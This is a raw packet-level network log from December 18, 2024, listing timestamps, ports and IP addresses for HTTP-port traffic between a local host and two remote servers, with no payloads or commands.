Dec 18, 2024 12:00:26.105968952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.106023073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.106050014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.106090069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.106360912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.106417894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.106640100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.106693029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.106758118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.106865883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.106889963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.106910944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.107398987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.107476950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.107487917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.107543945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.107630968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.107657909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.107688904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.108164072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.108222008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.108254910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.108304024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.108498096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.108553886 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.108923912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.108977079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.109090090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.109203100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.109656096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.109707117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.109879971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.109954119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.110407114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.110462904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.110502005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.110656023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.111329079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.111418009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.111454010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.111582994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.112030029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.112087965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.112129927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.112176895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.112219095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.112653971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.112713099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.112745047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.112793922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.113424063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.113473892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.113534927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.113575935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.114182949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.114236116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.114366055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.114414930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.114957094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.115008116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.115065098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.115123034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.115752935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.115804911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.115839958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.115879059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.116446018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.116507053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.116570950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.116614103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.117327929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.117389917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.117451906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.117549896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.117989063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.118048906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.118067980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.118105888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.118702888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.118767023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.118788004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.118824959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.119457960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.119503975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.119606972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.119653940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.120256901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.120313883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.120361090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.120982885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.121038914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.121150970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.121299982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.121877909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.121936083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.122013092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.122070074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.122582912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.122639894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.122680902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.122716904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.151206017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.151223898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.151271105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.151309013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.151429892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.151525021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.151588917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.151631117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.152250051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.152295113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.152331114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.152368069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.153013945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.153075933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.153232098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.153280973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.153312922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.153347969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.153974056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.154020071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.154126883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.154166937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.154779911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.154819012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.154872894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.154908895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.155486107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.155553102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.155723095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.155827999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.155846119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.155885935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.156630039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.156676054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.156682014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.156719923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.157633066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.157705069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.157776117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.157850981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.158552885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.158607960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.158941031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.159004927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.159048080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.159101009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.159830093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.159878969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.159919024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.159933090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.160361052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.160375118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.160402060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.160417080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.160865068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.160912037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.228944063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.228987932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.229012012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.229046106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.229438066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.229492903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.229569912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.229748964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.230330944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.230381012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.230595112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.230642080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.230681896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.230725050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.231200933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.231214046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.231286049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.232073069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.232125044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.232242107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.232295990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.232901096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.232949972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.232953072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.232996941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.233663082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.233762026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.233802080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.233971119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.234462023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.234473944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.234513044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.234544992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.235173941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.235264063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.235280037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.235459089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.235862970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.235876083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.235913038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.235955000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.242377043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.242481947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.242544889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.242608070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.242876053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.242939949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.242953062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.242994070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.243664980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.243714094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.243745089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.243792057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.244941950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.244988918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.245153904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.245204926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.246678114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.246727943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.246860027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.246906996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.247643948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.247695923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.247762918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.247813940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.248568058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.248619080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.248661995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.248713017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.249706030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.249757051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.249813080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.249859095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.250757933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.250806093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.250834942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.250876904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.251553059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.251600981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.251633883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.251678944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.252625942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.252676010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.252708912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.252753019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.253643990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.253701925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.253789902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.253835917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.254712105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.254764080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.254781008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.254823923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.255590916 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.255641937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.255673885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.255934000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.256686926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.256788015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.256911039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.256956100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.257735014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.257781982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.257987976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.258029938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.259011030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.259059906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.259094000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.259143114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.259964943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.260010958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.260041952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.260092020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.261063099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.261111021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.261281967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.261334896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.262259007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.262309074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.262342930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.262398958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.263278961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.263329029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.263344049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.263386965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.264305115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.264401913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.264408112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.264453888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.265384912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.265481949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.265505075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.265548944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.266486883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.266536951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.266592979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.266638994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.267585993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.267708063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.267720938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.267748117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.268649101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.268752098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.268786907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.268826962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.269829035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.269879103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.269961119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.270014048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.270901918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.270948887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.271033049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.271081924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.272013903 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.272061110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.272102118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.272147894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.273174047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.273221016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.273294926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.273339033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.274144888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.274193048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.274220943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.274370909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.275259018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.275306940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.275326014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.275367022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.276350021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.276427984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.276511908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.276559114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.277466059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.277512074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.277538061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.277704954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.278515100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.278553963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.278601885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.278641939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.279598951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.279654980 CET	49950	80	192.168.2.6	185.215.113.16
